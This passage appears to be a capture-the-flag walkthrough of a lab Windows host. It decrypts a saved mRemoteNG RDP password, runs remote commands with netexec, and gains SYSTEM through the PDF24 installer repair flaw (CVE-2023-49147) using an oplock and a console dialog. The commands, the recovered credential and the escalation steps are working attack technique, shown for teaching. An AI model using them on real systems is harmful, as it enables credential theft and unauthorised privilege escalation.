<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="sDkrKn0JrG4oAL4GW8BctmMNAJfcdu/ahPSQn3W5DPC3vPRiNwfo7OH11trVPbhwpy+1FnqfcPQZ3olLRy+DhDFp" ConfVersion="2.6">
    <Node Name="RDP/Gale" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="a179606a-a854-48a6-9baa-491d8eb3bddc" Username="Gale.Dekarios" Domain="" Password="TYkZkvR2YmVlm2T2jBYTEhPU2VafgW1d9NSdDX+hUYwBePQ/2qKx+57IeOROXhJxA7CczQzr1nRm89JulQDWPw==" Hostname="Lock" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
</mrng:Connections>

There’s a connection for Gale.Dekarios to connect to the host Lock over RDP on 3389. The password is stored encrypted.

Decrypt Password

I showcased multiple ways to decrypt passwords from mRemoteNG back in 2019 in Bastion, including writing my own Python script to do it. In 2025, there are many public scripts made for this. I’ll grab the this one, clone it, and run it against the file:

oxdf@hacky$ uv run /opt/mremoteng-decrypt/mremoteng_decrypt.py -rf config.xml 
Username: Gale.Dekarios
Hostname: Lock
Password: ty8wnW9qCKDosXo6 

RDP

netexec

netexec recently added the ability to run commands over RDP:

Seems like a fun thing to try here:

oxdf@hacky$ netexec rdp 10.129.234.64 -u gale.dekarios -p ty8wnW9qCKDosXo6 -x "type C:\\users\\gale.dekarios\\desktop\\user.txt"
[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n] Y
RDP         10.129.234.64   3389   LOCK             [*] Windows 10 or Windows Server 2016 Build 20348 (name:LOCK) (domain:Lock) (nla:False)
RDP         10.129.234.64   3389   LOCK             [+] Lock\gale.dekarios:ty8wnW9qCKDosXo6 (Pwn3d!)
RDP         10.129.234.64   3389   LOCK             [+] Executing command: type C:\users\gale.dekarios\desktop\user.txt with delay 5 seconds
RDP         10.129.234.64   3389   LOCK             [+] Waiting for clipboard to be ready...
RDP         10.129.234.64   3389   LOCK             [+] Clipboard is ready, proceeding with command execution
RDP         10.129.234.64   3389   LOCK             17e0844a************************

It reads the flag :)

RDP Session

I’ll run xfreerdp /u:gale.dekarios /p:ty8wnW9qCKDosXo6 /v:10.129.234.64:3389 +clipboard to get an RDP session, and it works:

image-20250816131348161

user.txt is here as well:

image-20250816131406373

Shell as SYSTEM

Enumeration

On the desktop there are shortcuts for mRemoteNG and PDF24. Opening mRemoteNG shows no saved connections. I can confirm that by finding the confCons.xml file:

PS C:\Users\gale.dekarios\AppData\Roaming\mRemoteNG> cat .\confCons.xml
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="cAtqNd+DCe9vkHsFg8e3wxP7d5IkENeUiK+43JVHtRVtkY0EjkGEeA37qeEZFZjcnotghJTMwuKalATtfp7cQX6G" ConfVersion="2.6" />

PDF24 is a free PDF creation and tools suite. It’s installed in C:\Program Files:

PS C:\Program Files> ls

    Directory: C:\Program Files

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         4/15/2025   6:02 PM                Amazon
d-----        12/27/2023  10:26 AM                Common Files
d-----        12/27/2023  10:53 AM                Git
d-----         4/15/2025   5:56 PM                Internet Explorer
d-----          5/8/2021   1:20 AM                ModifiableWindowsApps
d-----        12/28/2023  11:24 AM                Mozilla Firefox
d-----        12/28/2023  11:29 AM                PDF24
d-----         4/15/2025   5:24 PM                VMware
d-----        12/28/2023   5:46 AM                Windows Defender
d-----          8/7/2025   9:02 PM                Windows Defender Advanced Threat Protection
d-----         4/15/2025   5:56 PM                Windows Mail
d-----         4/15/2025   5:56 PM                Windows Media Player
d-----          5/8/2021   2:35 AM                Windows NT
d-----         4/15/2025   5:56 PM                Windows Photo Viewer
d-----          5/8/2021   1:34 AM                WindowsPowerShell

There’s a binary pdf24.exe in that directory, and the version is 11.15.1:

PS C:\Program Files\PDF24> Get-ChildItem .\pdf24.exe | Format-List VersionInfo

VersionInfo : File:             C:\Program Files\PDF24\pdf24.exe
              InternalName:     PDF24 Backend
              OriginalFilename: pdf24.exe
              FileVersion:      11.15.1
              FileDescription:  PDF24 Backend
              Product:          PDF24 Creator
              ProductVersion:   11.15.1
              Debug:            False
              Patched:          False
              PreRelease:       False
              PrivateBuild:     False
              SpecialBuild:     False
              Language:         English (United States)

CVE-2023-49147

Background

PDF24 has a changelogs page. I’ll look at the versions just after 11.15.1, and find an interesting line in 11.15.2:

image-20250817063226972

CVE-2023-49147 has an official description of:

An issue was discovered in PDF24 Creator 11.14.0. The configuration of the msi installer file was found to produce a visible cmd.exe window when using the repair function of msiexec.exe. This allows an unprivileged local attacker to use a chain of actions (e.g., an oplock on faxPrnInst.log) to open a SYSTEM cmd.exe.

That sounds exactly like something I would like.

There’s more detail on this Packet Storm post. The issue is that the installer, running as SYSTEM, will call another binary, pdf24-PrinterInstall.exe, which opens (typically briefly) in a new cmd.exe window. This program will open and write to a log file (C:\Program Files\PDF24\faxPrnInst.log).

If I can create an oplock on that file, the installer process will hang waiting for access. While that window is exposed, I can abuse it to get another cmd.exe running as SYSTEM.

Exploit

I’ll grab a copy of SetOpLock.exe from the Google Project Zero symboliclink-testing-tools repo. I can copy it from the file explorer in my VM into the RDP session. Now I’ll lock the log file:

PS C:\Users\gale.dekarios> .\SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r

Now the file is locked and won’t be able to be opened.

There’s no MSI file in C:\Program Files\PDF24, but there is a hidden _install directory in the root of the drive:

PS C:\> ls -force

    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs-        12/28/2023   6:17 AM                $Recycle.Bin
d--h--         4/15/2025   5:36 PM                $WinREAgent
d--hs-         4/15/2025   6:02 PM                Config.Msi
d--hsl        12/27/2023   6:14 PM                Documents and Settings
d-----        12/27/2023  11:11 AM                Gitea
d-----         4/15/2025   5:56 PM                inetpub
d-----         8/16/2025   9:57 AM                Microsoft
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         4/15/2025   5:24 PM                Program Files
d-----        12/28/2023  11:24 AM                Program Files (x86)
d--h--          8/7/2025  10:48 AM                ProgramData
d--hs-        12/27/2023   6:14 PM                Recovery
d--hs-        12/27/2023   6:14 PM                System Volume Information
d-r---        12/28/2023   6:14 AM                Users
d-----          8/7/2025   9:02 PM                Windows
d--h--        12/28/2023  11:23 AM                _install
-a-hs-         8/15/2025  12:55 PM          12288 DumpStack.log.tmp
-a-hs-         8/15/2025  12:55 PM     1207959552 pagefile.sys

It has the installer:

PS C:\_install> ls

    Directory: C:\_install

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        12/28/2023  11:21 AM       60804608 Firefox Setup 121.0.msi
-a----        12/28/2023   5:39 AM       43593728 mRemoteNG-Installer-1.76.20.24615.msi
-a----        12/14/2023  10:07 AM      462602240 pdf24-creator-11.15.1-x64.msi

I’ll open that directory in Explorer and double click the installer. I’ll hit next and on the next screen hit “Repair”:

image-20250817065931687

On the next screen, “Repair” again. It will pop up and ask about if I want to close PDF24 Backend, and I don’t think it matters what I pick here. I’ll select “Close the applications and attempt to restart them.”.

Alternatively, I can also run:

PS C:\_install> msiexec.exe /fa .\pdf24-creator-11.15.1-x64.msi

Towards the end of the repair, it will pop open a window running pdf24-PrinterInstall.exe which just hangs:

image-20250817065216887

I’ll right-click on the top bar:

image-20250817065254204

On selecting Properties, the next box has the configuration for cmd.exe:

image-20250817065407603

I’ll click the link for “legacy console mode” at the bottom. It pops up asking how to open it:

image-20250817065440969

I need to select something that isn’t IE or Edge, so Firefox. This opens Firefox (running as SYSTEM):

image-20250817065541550

Ctrl-o will open the open dialog, where I’ll enter “cmd.exe” in the top bar:

image-20250817065624409

On hitting enter, it opens a terminal running as SYSTEM:

image-20250817065706679

I’ll grab the root flag:

C:\Users\Administrator\Desktop>type root.txt
7302e2f3************************